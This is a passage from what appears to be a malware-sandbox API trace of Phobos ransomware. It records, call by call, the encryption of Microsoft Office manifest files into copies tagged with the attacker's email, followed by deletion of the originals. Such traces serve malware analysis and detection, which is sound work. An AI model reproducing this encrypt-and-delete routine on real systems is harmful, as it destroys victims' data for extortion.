pdwDataLen=0x38ef700*=0x618b0) returned 1 [0054.686] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x618b0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x618b0, lpOverlapped=0x0) returned 1 [0054.692] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcc10) returned 1 [0054.692] CryptSetKeyParam (hKey=0x10dcc10, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0054.692] CryptEncrypt (in: hKey=0x10dcc10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x90, dwBufLen=0x90 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x90) returned 1 [0054.692] CryptDestroyKey (hKey=0x10dcc10) returned 1 [0054.692] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x142, lpOverlapped=0x0) returned 1 [0054.692] CryptDestroyKey (hKey=0x10dc850) returned 1 [0054.692] CloseHandle (hObject=0x2fc) returned 1 [0054.692] CloseHandle (hObject=0x328) returned 1 [0054.700] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml")) returned 1 [0054.704] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0054.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0054.704] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=1450) returned 1 [0054.704] CloseHandle (hObject=0x328) returned 1 [0054.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0054.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0054.705] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0054.705] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0054.705] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0054.705] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0054.705] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc910) returned 1 [0054.705] CryptSetKeyParam (hKey=0x10dc910, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0054.705] ReadFile (in: hFile=0x328, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x5aa, lpOverlapped=0x0) returned 1 [0054.714] CryptEncrypt (in: hKey=0x10dc910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x5b0) returned 1 [0054.714] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x5b0, lpOverlapped=0x0) returned 1 [0054.715] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc710) returned 1 [0054.715] CryptSetKeyParam (hKey=0x10dc710, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0054.715] CryptEncrypt (in: hKey=0x10dc710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x90, dwBufLen=0x90 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x90) returned 1 [0054.715] CryptDestroyKey (hKey=0x10dc710) returned 1 [0054.715] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x142, lpOverlapped=0x0) returned 1 [0054.715] CryptDestroyKey (hKey=0x10dc910) returned 1 [0054.715] CloseHandle (hObject=0x328) returned 1 [0054.715] CloseHandle (hObject=0x2fc) returned 1 [0054.716] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml")) returned 1 [0054.717] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0054.717] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0054.717] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=3754) returned 1 [0054.717] CloseHandle (hObject=0x2fc) returned 1 [0054.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml")) returned 0x220 [0054.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0054.718] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0054.718] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0054.718] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0054.718] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0054.718] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc910) returned 1 [0054.718] CryptSetKeyParam (hKey=0x10dc910, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0054.718] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xeaa, lpOverlapped=0x0) returned 1 [0055.744] CryptEncrypt (in: hKey=0x10dc910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xeb0, dwBufLen=0xeb0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xeb0) returned 1 [0055.744] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xeb0, lpOverlapped=0x0) returned 1 [0055.745] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc8d0) returned 1 [0055.745] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0055.745] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x90, dwBufLen=0x90 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x90) returned 1 [0055.745] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0055.745] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x142, lpOverlapped=0x0) returned 1 [0055.745] CryptDestroyKey (hKey=0x10dc910) returned 1 [0055.746] CloseHandle (hObject=0x2fc) returned 1 [0055.746] CloseHandle (hObject=0x328) returned 1 [0055.746] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml")) returned 1 [0055.747] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0055.747] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0055.747] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=1261) returned 1 [0055.748] CloseHandle (hObject=0x328) returned 1 [0055.748] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml")) returned 0x220 [0055.748] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0055.748] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0055.748] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0055.748] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0055.748] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0055.748] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dca10) returned 1 [0055.748] CryptSetKeyParam (hKey=0x10dca10, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0055.748] ReadFile (in: hFile=0x328, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x4ed, lpOverlapped=0x0) returned 1 [0055.754] CryptEncrypt (in: hKey=0x10dca10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x4f0) returned 1 [0055.754] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x4f0, lpOverlapped=0x0) returned 1 [0055.755] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc690) returned 1 [0055.755] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0055.755] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x90, dwBufLen=0x90 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x90) returned 1 [0055.755] CryptDestroyKey (hKey=0x10dc690) returned 1 [0055.756] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x142, lpOverlapped=0x0) returned 1 [0055.756] CryptDestroyKey (hKey=0x10dca10) returned 1 [0055.756] CloseHandle (hObject=0x328) returned 1 [0055.756] CloseHandle (hObject=0x2fc) returned 1 [0055.756] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml")) returned 1 [0055.758] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0055.758] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0055.758] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=3375) returned 1 [0055.758] CloseHandle (hObject=0x2fc) returned 1 [0055.760] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml")) returned 0x220 [0055.760] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0055.760] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0055.760] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0055.760] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0055.760] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0055.760] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcb90) returned 1 [0055.761] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0055.761] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xd2f, lpOverlapped=0x0) returned 1 [0055.798] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xd30, dwBufLen=0xd30 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xd30) returned 1 [0055.798] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xd30, lpOverlapped=0x0) returned 1 [0055.799] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc690) returned 1 [0055.799] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0055.799] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x90, dwBufLen=0x90 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x90) returned 1 [0055.799] CryptDestroyKey (hKey=0x10dc690) returned 1 [0055.799] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x142, lpOverlapped=0x0) returned 1 [0055.799] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0055.799] CloseHandle (hObject=0x2fc) returned 1 [0055.799] CloseHandle (hObject=0x328) returned 1 [0055.800] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml")) returned 1 [0055.801] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0055.801] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0055.801] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2173046) returned 1 [0055.801] CloseHandle (hObject=0x328) returned 1 [0055.801] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml")) returned 0x220 [0055.801] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 1 [0055.801] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0055.802] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef6f8 | out: lpNewFilePointer=0x0) returned 1 [0055.802] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef6f8 | out: lpNewFilePointer=0x0) returned 1 [0055.802] ReadFile (in: hFile=0x328, lpBuffer=0x3c58058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ef704, lpOverlapped=0x0 | out: lpBuffer=0x3c58058*, lpNumberOfBytesRead=0x38ef704*=0x40000, lpOverlapped=0x0) returned 1 [0055.866] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0xb0d7c, lpNewFilePointer=0x0, dwMoveMethod=0x38ef6f8 | out: lpNewFilePointer=0x0) returned 1 [0055.866] ReadFile (in: hFile=0x328, lpBuffer=0x3c98058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ef704, lpOverlapped=0x0 | out: lpBuffer=0x3c98058*, lpNumberOfBytesRead=0x38ef704*=0x40000, lpOverlapped=0x0) returned 1 [0055.874] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x1d2876, lpNewFilePointer=0x0, dwMoveMethod=0x38ef6f8 | out: lpNewFilePointer=0x0) returned 1 [0055.874] ReadFile (in: hFile=0x328, lpBuffer=0x3cd8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ef704, lpOverlapped=0x0 | out: lpBuffer=0x3cd8058*, lpNumberOfBytesRead=0x38ef704*=0x40000, lpOverlapped=0x0) returned 1 [0056.133] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef754 | out: phKey=0x38ef754*=0x10dcb90) returned 1 [0056.133] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0056.133] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef708*=0xc0070, dwBufLen=0xc0070 | out: pbData=0x3c58020*, pdwDataLen=0x38ef708*=0xc0070) returned 1 [0056.134] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0056.134] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef730 | out: lpNewFilePointer=0x0) returned 1 [0056.134] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xc0122, lpNumberOfBytesWritten=0x38ef740, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef740*=0xc0122, lpOverlapped=0x0) returned 1 [0056.144] SetEndOfFile (hFile=0x328) returned 1 [0056.145] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x1d2876, lpNewFilePointer=0x0, dwMoveMethod=0x38ef700 | out: lpNewFilePointer=0x0) returned 1 [0056.145] WriteFile (in: hFile=0x328, lpBuffer=0x3d1815a*, nNumberOfBytesToWrite=0x40000, 